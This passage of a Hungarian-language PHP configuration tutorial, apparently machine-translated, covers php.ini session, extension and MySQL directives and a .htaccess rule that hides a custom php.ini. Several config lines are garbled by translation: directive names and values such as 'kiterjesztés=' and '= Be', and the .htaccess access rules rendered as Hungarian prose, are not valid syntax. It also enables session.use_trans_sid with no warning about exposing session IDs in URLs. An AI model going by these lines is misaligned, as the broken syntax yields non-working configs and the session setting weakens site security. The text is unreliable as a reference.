session.save_path = /tmp ; Az "egyenlő" jel után meg kell adni annak a mappának az elérési útját, amelyben a munkamenetekkel kapcsolatos információk tárolódnak (fontos, hogy ez a mappa már létezik)

session.use_cookies = 1 ; Lehetővé teszi a cookie-k használatát a munkamenetekben

session.name = PHPSESSID ; Azt jelzi, hogy munkamenetnévként és munkamenet-sütiként használjuk – munkamenet-azonosító

session.cookie_lifetime = 0 ; A munkamenet élettartama ("0" azt jelenti, hogy a munkamenet a böngészőablak bezárásáig tart)

session.use_trans_sid = 1 ; Ha a felhasználó letiltotta a cookie-kat, akkor a munkamenet-azonosító minden hivatkozáshoz hozzáadódik

Dinamikus bővítmények

kiterjesztés=modulnév.kiterjesztés ; Külső modulok betöltésére használható. Windows rendszereken általában azt írják, hogy - extension=msql.dll, és for
UNIX - extension=msql.so

Munka MySQL modulokkal

mysql.allow_persistent = Be ; Állandó MySQL-kapcsolatok engedélyezése.

mysql.max_persistent = -1 ; Meghatározza a stabil MySQL-kapcsolatok maximális számát. Ha -1-et ad meg, az azt jelenti, hogy nincsenek korlátozások.

mysql.max_links = -1 ; Megadja a stabil MySQL-kapcsolatok és az instabil ODBC-kapcsolatok maximális számát. Ha -1-et ad meg, az azt jelenti, hogy nincsenek korlátozások.

mysql.default_port = ; A mysql_connect függvény portja.

mysql.default_socket = ; Socket neve a helyi MySQL kapcsolatokhoz.

mysql.default_host = ; A mysql_connect függvény gazdagépneve.

mysql.default_user = ; Felhasználónév.

mysql.default_password = ; Jelszó.

Ha létrehozta saját php.ini fájlját, és elhelyezte a webhely mappájában

Ebben az esetben biztonsági okokból mindenki számára le kell tiltania a hozzáférést, kivéve Önt. Ehhez a következő kódot kell beírni a .htaccess fájlba:


parancs engedélyezni, megtagadni
tagadja meg mindenkitől

De légy óvatos, mert. ezekkel a beállításokkal a php-beállításokhoz kapcsolódó összes direktíva (php_value, php_flag stb.) a .htaccess fájlon keresztül leáll (500-as belső szerverhiba jön létre).

Fontos! Ha saját php.ini fájlt hoz létre, az csak arra a könyvtárra lesz hatással, amelyben található.